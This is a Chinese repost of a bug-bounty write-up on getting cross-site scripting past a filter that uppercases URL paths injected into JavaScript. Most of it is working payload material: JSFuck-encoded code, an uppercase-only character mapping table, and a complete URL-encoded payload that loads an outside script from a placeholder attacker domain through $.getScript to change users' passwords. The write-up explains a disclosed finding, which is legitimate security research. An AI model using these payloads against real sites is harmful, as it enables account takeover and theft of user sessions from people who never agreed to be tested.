<返回更多

如何绕过大写过滤器实现XSS攻击

2019-10-16    
加入收藏

虽然我们不是在安全公司工作,但喜欢参加Hackerone上的漏洞悬赏项目,喜欢寻找漏洞。

而最近发现的漏洞让我感觉JAVAscript代码中的注入漏洞的确会让人防不胜防。

我们在目标网站上找到了一个和XSS有关的漏洞,其中网页涉及到某种谷歌分析代码,可通过URL进行XSS攻击。

http://website.com/dir/subdir

以上URL的后半部分会直接出现在JavaScript代码中:

function("/DIR/SUBDIR",params);

通过使用Burp suite,我尝试在URL末尾添加-alert(1)-来进行攻击,即http://website.com/dir/subdir/"-alert(1)-"。

如何绕过大写过滤器实现XSS攻击

 

结果浏览器告诉我们找不到函数ALERT(1),看来GET参数会被转换为大写。

然后我们开始测试网站过滤器到底会过滤什么内容,结果发现</script>,//,,. 会受到影响,但是其他敏感字符东西",',[,],{,}并不会。

所以,我们需要利用这些白名单字符构建payload。很快我们便想到了jsfuck.com网站,不过它生成的payload虽然可以绕过大写过滤器,但太长了。

如何绕过大写过滤器实现XSS攻击

 

同时,需要说明的是,在Hackerone的悬赏项目中,如果只是执行alert(1),那么只能算是一个低级XSS(奖励较低)。我们希望将此漏洞的等级升级为高或严重,这就需要证明漏洞可加载外部JS文件,且在和用户无任何交互的情况下就可执行任意Web操作。

以下是一个用于wordPress/ target=_blank class=infotextkey>WordPress的payload,我们希望能往目标注入类似于这个payload的外部脚本,非法更改帐户密码或email。

如何绕过大写过滤器实现XSS攻击

 

而在JsFuck网站中,一个简单的alert(1)会被转换为如下代码:

"-%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D)()(%2B!!%5B%5D)-"

这真是又丑又长。如果我想使用alert(document.cookie),则最终的payload会超过13000个字符。但是,我发现一旦给目标服务器发送的字符数超出了2700个,Web服务就会返回Error 400。看来我们需要改善这种混淆方式,缩减它的长度。

先让我们看看JsFuck是如何工作的(字符间的对应关系)。

const SIMPLE = {
 'false': '![]',
 'true': '!0',
 'undefined': '0[0]',
 'NaN': '+[!0]',
 'Infinity': '+(+!0+(!0+[])[!0+!0+!0]+[+!0]+[0]+[0]+[0])' // +"1e1000"
 };
const CONSTRUCTORS = {
 'Array': '[]',
 'Number': '(+0)',
 'String': '([]+[])',
 'Boolean': '(!0)',
 'Function': '[]["fill"]',
 'RegExp': 'Function("return/"+0+"/")()'
 };
const MAppING = {
 'a': '(false+"")[1]',
 'b': '([]["entries"]()+"")[2]',
 'c': '([]["fill"]+"")[3]',
 'd': '(undefined+"")[2]',
 'e': '(true+"")[3]',
 'f': '(false+"")[0]',
 'g': '(false+[0]+String)[20]',
 'h': '(+(101))["to"+String["name"]](21)[1]',
 'i': '([false]+undefined)[10]',
 'j': '([]["entries"]()+"")[3]',
 'k': '(+(20))["to"+String["name"]](21)',
 'l': '(false+"")[2]',
 'm': '(Number+"")[11]',
 'n': '(undefined+"")[1]',
 'o': '(true+[]["fill"])[10]',
 'p': '(+(211))["to"+String["name"]](31)[1]',

我开始尝试在Chrome上执行其中一部分代码,看看它是如何工作的。

如何绕过大写过滤器实现XSS攻击

 

基本上,我们可以从不同类型的变量中获取字符,特别是从false、true、undefined、NaN、Infinity等获取小写字母。

最终,我在没有使用小写字母的情况下得出了自制的混淆转换表。

Á=![]; //false
É=!![]; //true 
Í=[][[]]; //undefined
Ó=+[![]]; //NaN
SI=+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]);// Infinity
ST=([]+[]); //
Ü=(+[]);
A=(Á+"")[1];
D=(Í+"")[2];
E=(É+"")[3];
F=(Á+"")[0];
G=[![]+[+[]]+[[]+[]][+[]][[![]+{}][+[]][+!+[]+[+[]]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[![]+{}][+[]][+!+[]+[+[]]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]][+[]][!+[]+!+[]+[+[]]];
I=([Á]+Í)[10];
L=(Á+"")[2];
T=(É+"")[0];
O=(É+[][F+I+L+L])[10];
R=(É+"")[1];
N=(Í+"")[1];
M=(+(208))[T+O+"S"+T+R+I+N+G](31)[1];
P=(+(211))[T+O+"S"+T+R+I+N+G](31)[1];
S=(Á+"")[3];
U=(Í+"")[0];
V=(+(31))[T+O+"S"+T+R+I+N+G](32);
X=(+(101))[T+O+"S"+T+R+I+N+G](34)[1];
Y=(Ó+[SI])[10];
Z=(+(35))[T+O+"S"+T+R+I+N+G](36);
C=([][F+I+L+L]+"")[3];
H=(+(101))[T+O+"S"+T+R+I+N+G](21)[1];
K=(+(20))[T+O+"S"+T+R+I+N+G](21);
W=(+(32))[T+O+"S"+T+R+I+N+G](33);
J=([][E+N+T+R+I+E+S]()+"")[3];
B=([][E+N+T+R+I+E+S]()+"")[2];

同时我还需要斜线和圆点。首先我们可以从浮点数1.1e+101得到圆点。

 

如何绕过大写过滤器实现XSS攻击

 

好的,现在我还缺/和g。此时我决定用jsfuck生成这两个字符,为此我牺牲了1200个字符,但之前的paylaod大约是500-800字符,所以最后的payload长度(还包含些其他代码)在服务器允许的范围内。

现在让我们试试执行混淆后的代码。

[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](A+L+E+R+T(1))();

以上代码实际对应fill.constructor(alert(1))。是的,我只用大写字母就执行了javascript!

希望目标网站使用了jquery,此外如果加载到html代码的末尾,则注入payload后会返回未找到函数。我们必须等待3秒,等所有依赖项加载完成再用$.getscript加载外部JS文件。

[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](S+E+T+"T"+I+M+E+O+U+T+"("+F+U+N+C+T+I+O+N+"(){ $"+DOT+G+E+T+"S"+C+R+I+P+T+"('"+SLA+SLA+"test"+SLA+"test')(); }, 3000);")();
如何绕过大写过滤器实现XSS攻击

 

它成功了!3秒后我收到了请求!

最后对payload进行URL编码,得到的最终payload是(长度为2500多):

%3B%C3%81=![]%3B%C3%89=!![]%3B%C3%8D=[][[]]%3B%C3%93=%2B[![]]%3BSI=%2B(%2B!%2B[]%2B(!%2B[]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B[%2B!%2B[]]%2B[%2B[]]%2B[%2B[]]%2B[%2B[]])%3BST=([]%2B[])%3B%C3%9C=(%2B[])%3BA=(%C3%81%2B%22%22)[1]%3BD%20=%20(%C3%8D%2B%22%22)[2]%3BE%20=%20(%C3%89%2B%22%22)[3]%3BF%20=%20(%C3%81%2B%22%22)[0]%3BG%20=%20[![]%2B[%2B[]]%2B[[]%2B[]][%2B[]][[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B!%2B[]]%2B[![]%2B[]][%2B[]][!%2B[]%2B!%2B[]%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B[]]%2B[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]]][%2B[]][!%2B[]%2B!%2B[]%2B[%2B[]]]%3BI%20=%20([%C3%81]%2B%C3%8D)[10]%3BL%20=%20(%C3%81%2B%22%22)[2]%3BT%20=%20(%C3%89%2B%22%22)[0]%3BO%20=%20(%C3%89%2B[][F%2BI%2BL%2BL])[10]%3BR%20=%20(%C3%89%2B%22%22)[1]%3BN%20=%20(%C3%8D%2B%22%22)[1]%3BM%20=%20(%2B(208))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BP%20=%20(%2B(211))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BS%20=%20(%C3%81%2B%22%22)[3]%3BU%20=%20(%C3%8D%2B%22%22)[0]%3BV%20=%20(%2B(31))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](32)%3BX%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](34)[1]%3BY%20=%20(%C3%93%2B[SI])[10]%3BZ%20=%20(%2B(35))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](36)%3BC%20=%20([][F%2BI%2BL%2BL]%2B%22%22)[3]%3BH%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)[1]%3BK%20=%20(%2B(20))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)%3BW%20=%20(%2B(32))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](33)%3BJ%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[3]%3BB%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[2]%3BDOT%20=%20(%2B(%2211E100%22)%2B[])[1]%3BSLA=(![]%2B[%2B![]])[([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(!![]%2B[])[%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B([][(![]%2B[])[%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B(!![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B!%2B[]]]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]]()[%2B!%2B[]%2B[%2B[]]]%3B[][F%2BI%2BL%2BL][C%2BO%2BN%2BS%2BT%2BR%2BU%2BC%2BT%2BO%2BR](S%2BE%2BT%2B%22T%22%2BI%2BM%2BE%2BO%2BU%2BT%2B%22(%22%2BF%2BU%2BN%2BC%2BT%2BI%2BO%2BN%2B%22()%7B%20$%22%2BDOT%2BG%2BE%2BT%2B%22S%22%2BC%2BR%2BI%2BP%2BT%2B%22('%22%2BSLA%2BSLA%2B%22BADASSDOMAIN%22%2BDOT%2B%22COM%22%2BSLA%2B%22BADASSURL')()%3B%20%7D,%203000)%3B%22)()%3B(%22

最后我们成功加载了外部JS脚本,它的作用是更改用户名密码!实现帐户接管!就这样我把一个低危XSS漏洞变成了高危XSS漏洞。奖励也从50美元变成了1000美元,翻了20倍!

在此特别感谢Martin Kleppe,没有他的发现,我们是不可能得到这个奖励的。

来源:https://nosec.org/home/detail/3047.html

原文:https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce

声明:本站部分内容来自互联网,如有版权侵犯或其他问题请与我们联系,我们将立即删除或处理。
▍相关推荐
更多资讯 >>>